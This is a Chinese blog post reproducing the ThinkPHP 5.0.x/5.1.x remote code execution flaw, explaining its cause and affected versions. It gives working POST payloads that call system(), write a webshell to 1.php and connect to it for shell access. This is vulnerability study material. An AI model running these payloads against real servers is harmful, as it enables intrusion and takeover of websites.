ThinkPHP(5.0.23-rce)任意代码执行漏洞复现及原理
2022/3/29 20:26:38
本文主要是介绍ThinkPHP(5.0.23-rce)任意代码执行漏洞复现及原理,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
漏洞详情:
攻击者可向缓存文件内写入PHP代码,导致远程代码执行。根据漏洞利用能得出通过s参数传递具体的路由。参考http://blog.nsfocus.net/thinkphp-full-version-rce-vulnerability-analysis/?tdsourcetag=s_pctim_aiomsg梳理出的漏洞流程图:
可以得到重要是参数为method和filter。value是传入的数组值,由server决定。
解析POC:
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id
_method=__construct:调用构造方法__construct(),可以覆盖Request类的任意成员变量,这里修改了filter和server(value)两个值,同时覆盖了method。
filter=system:传递filter值,覆盖原有值。
server[REQUEST_METHOD]=id:在调用$this→server('REQUEST_METHOD')时指定了键值,所以通过传入server数组即可。
method=get:这里是通过check()方法分析$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];得到。它的返回值由$rules决定,而$rules的值取决于键值$method,当我们指定$method为get时,可以正确获取到路由信息,从而通过checkRoute()检查,此时我们通过指定method=get覆盖$this->method的值即可
大佬的分析太妙了,这样子之后,我们就可以直接修改filter以及server(value)的值了。将我们需要的值传递覆盖之后,获取正常的路由信息,就能返回我们想要的信息。
漏洞影响版本:
影响 ThinkPHP 版本 5.x < 5.1.31, <= 5.0.23
漏洞利用:
index.php?s=captcha
漏洞复现:
根据POC我们使用hackbar进行测试,可以执行,后面尝试获取phpinfo。
将post值改为:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1。
第一步中可以执行system命令,尝试echo写入是否可以执行。
将post值改为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 1
可以执行echo,后面尝试写入一句话木马。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' > 1.php
执行之后页面无回现,尝试调用ls命令。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
写入成功,上蚁剑尝试。
拿到Shell,复现完成。
POC回看:
使用hackbar,
url:/index.php?s=captcha
post:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id
这篇关于ThinkPHP(5.0.23-rce)任意代码执行漏洞复现及原理的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-19php8的协程和hyperf的协程有什么区别?-icode9专业技术文章分享
- 2024-12-19php8 的fiber是什么?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-11-29使用PHP 将ETH账户的资产汇集到一个账户
- 2024-11-23怎么实现安卓+php 热更新方案?-icode9专业技术文章分享
- 2024-11-22PHP 中怎么实现判断多个值是否为空、null 或者为 false?-icode9专业技术文章分享
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享